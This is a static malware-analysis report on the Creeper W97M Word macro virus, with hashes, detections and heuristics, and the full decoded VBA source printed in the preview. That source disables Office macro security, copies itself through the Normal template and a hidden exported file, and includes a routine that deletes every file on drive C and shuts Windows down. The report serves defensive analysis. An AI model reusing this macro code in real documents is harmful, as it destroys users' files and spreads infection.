Win.Trojan.Psycho-3 — Office (OLE) malware analysis

Static analysis result for SHA-256 25e3fb55fd5313e0…

MALICIOUS

Office (OLE)

41.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 96b9629f97bdcf887c0c99072883fa70 SHA-1: f4ecdb3ff74ad7aa7b174ba0fb2dcc683bdb9dab SHA-256: 25e3fb55fd5313e074bd03a6b6eda354bb96f2739bf10c1232ab51b508cd1b27
248 Risk Score

Malware Insights

Win.Trojan.Psycho-3 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains legacy WordBasic and VBA macros, including an AutoOpen macro, which are indicative of older malware. The script attempts to disable Word's macro security settings and export a component to 'c:\Creeper.sys', marking it as hidden. ClamAV detections for 'Win.Trojan.Psycho-3' and 'Win.Trojan.wmvg-1' further confirm its malicious nature.

Heuristics 5

  • ClamAV: Win.Trojan.Psycho-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Psycho-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4726 bytes
SHA-256: f6eaff37b48640552e308b36281677b7b0c7153b78afdf277d85b68070fe1527
Detection
ClamAV: Win.Trojan.wmvg-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Creeper"
Sub AutoExec()
Attribute AutoExec.VB_Description = "Creeper 1.0"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Normal.Creeper.AutoExec"
' Creeper W97M (c) 1999 Electro Magnetic Defication
' Thank You For Purchasing Microsoft Office 97
' Thank You For Beta Testing Office 2000
' Where Do I Want To Go Today??.....DisneyLand!
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
End If
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
End If
With Application.FileSearch
.LookIn = "C:\"
.FileName = "Creeper.sys"
    If .Execute(SortBy:=msoSortByFileName, _
            SortOrder:=msoSortOrderAscending) > 0 Then
For a = 1 To .FoundFiles.Count
GoTo AllDone
Next a
Else
NormalTemplate.VBProject.VBComponents("Creeper").Export "c:\Creeper.sys"
SetAttr "c:\Creeper.sys", vbHidden
End If
End With
AllDone:
End Sub

Sub ToolsMacro()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub ViewVBCode()
With WordBasic
.Call "YourAss"
End With
End Sub

Sub YourAss()
On Error Resume Next
With Application.FileSearch
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = "*.*"
    If .Execute(SortBy:=msoSortByFileName, _
            SortOrder:=msoSortOrderAscending) > 0 Then
For b = 1 To .FoundFiles.Count
Kill .FoundFiles(b)
Next b
Else
End If
End With
Tasks.ExitWindows
End Sub

Sub AutoOpen()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
End If
Options.VirusProtection = False
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
If Minute(Now) = Hour(Now) Then
ActiveDocument.Password = "Creeper"
ActiveDocument.Save
End If
Dim EN$
On Error GoTo -1: On Error GoTo NotThere
With WordBasic
.ToolsMacro Name:="CheckForCreeper", Show:=1, Run:=1
.Call "Creeper"
End With
GoTo AlreadyThere
NotThere:
Err.Number = 0
On Error Resume Next
EN$ = WordBasic.[FileName$]()
With WordBasic
.MacroCopy EN$ + ":Creeper", "Creeper", 1
NormalTemplate.Save
ActiveDocument.VBProject.VBComponents("Creeper").Export "c:\Creeper.sys"
SetAttr "c:\Creeper.sys", vbHidden
End With
GoTo AlreadyThere
AlreadyThere:
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
GoTo AllDone
AllDone:
End If
End Sub
Sub CheckForCreeper()

End Sub
Sub FileOpen()
On Error GoTo ChangeMind
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileOpen(False)
With WordBasic
.CurValues.FileOpen dlg
.Dialog.FileOpen dlg
.FileOpen dlg
.Call "Creeper"
End With
ChangeMind:
End Sub

Sub FilePrint()
On Error GoTo ChangeMind
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FilePrint(False)
With WordBasic
.CurValues.FilePrint dlg
.Dialog.FilePrint dlg
.FilePrint dlg
.Call "Creeper"
End With
ChangeMind:
End Sub

Sub FileSaveAs()
On Error GoTo ChangeMind
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
With WordBasic
.CurValues.FileSaveAs dlg
.Dialog.FileSaveAs dlg
.FileSaveAs dlg
.Call "Creeper"
End With
ChangeMind:
End Sub

Sub Creeper()
Attribute Creeper.VB_ProcData.VB_Invoke_Func = "Normal.Creeper.Creeper"
On Error Resume Next
For c = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(c).Name = "Creeper" Then d = True
Next c
If d = True Then GoTo AlreadyThere Else
ActiveDocument.VBProject.VBComponents.Import "c:\Creeper.sys"
ActiveDocument.Save
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Creeper") = "(c) 1999 Electro Magnetic Defication"
GoTo AllDone
AlreadyThere:
On Error Resume Next
If Day(Now) = Minute(Now) Then
With WordBasic
.Call "YourAss"
End With
End If
GoTo AllDone
AllDone:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.